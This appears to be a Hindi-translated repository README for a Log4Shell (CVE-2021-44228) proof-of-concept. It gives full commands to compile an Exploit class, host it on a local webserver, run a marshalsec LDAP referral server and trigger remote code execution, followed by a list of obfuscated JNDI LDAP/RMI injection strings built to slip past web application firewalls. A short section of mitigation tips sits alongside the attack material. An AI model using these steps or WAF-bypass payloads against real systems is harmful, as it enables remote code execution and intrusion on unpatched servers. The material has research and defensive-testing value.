ravid-checkmarx/cve-2021-44228-apache-log4j-rce-mainCVE-2021-44228 (Log4Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण जिसमें JNDI LDAP/RMI इंजेक्शन, पेलोड संकलन और Log4j RCE भेद्यता के परीक्षण के लिए WAF बाईपास तकनीकें शामिल हैं।
1.x के संस्करणों में अन्य कमजोरियाँ हैं, हम अनुशंसा करते हैं कि आप नवीनतम संस्करण में अपडेट करें।
Log4Shell (CVE-2021-44228) से जुड़े सुरक्षा परामर्श / बुलेटिन
इस प्रोजेक्ट को डाउनलोड करें, एक्सप्लॉइट कोड को कंपाइल करें blob/master/src/main/java/Exploit.java, और कंपाइल की गई बाइनरी को डाउनलोड करने की अनुमति देने वाला एक वेबसर्वर शुरू करें।
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
एक और प्रोजेक्ट डाउनलोड करें और JNDI रेफरेंस लौटाने वाला LDAP सर्वर इम्प्लीमेंटेशन* चलाएँ https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
एक्टिवेशन कोड बनाएँ और चलाएँ (एक कमजोर java वेब सर्वर पर log4j हमले का अनुकरण करें) blob/master/src/main/java/log4j.java, और आपका कैलकुलेटर ऐप दिखाई देगा।
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
टिप्स:
अपने आपको बचाने के लिए वर्तमान Java संस्करण पर भरोसा न करें। Log4 को अपडेट करें (या JNDI लुकअप हटाएँ)। विस्तार को अक्षम करें (वैसे भी यह काफी बुरा विचार लगता है)।
उदाहरण के लिए:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
वेब एप्लिकेशन फ़ायरवॉल पर भरोसा न करें।
लुकअप, Log4j कॉन्फ़िगरेशन में मनमाने स्थानों पर मान जोड़ने का एक तरीका प्रदान करते हैं।
finally में लीक पैदा करने के तरीके
LogManager.getLogger().error()
LogManager.getLogger().fatal()
यदि आप ब्लैक-बॉक्स टेस्टिंग करना चाहते हैं, तो मेरा सुझाव है कि आप पैसिव स्कैनिंग करें।
मज़े करो!!!
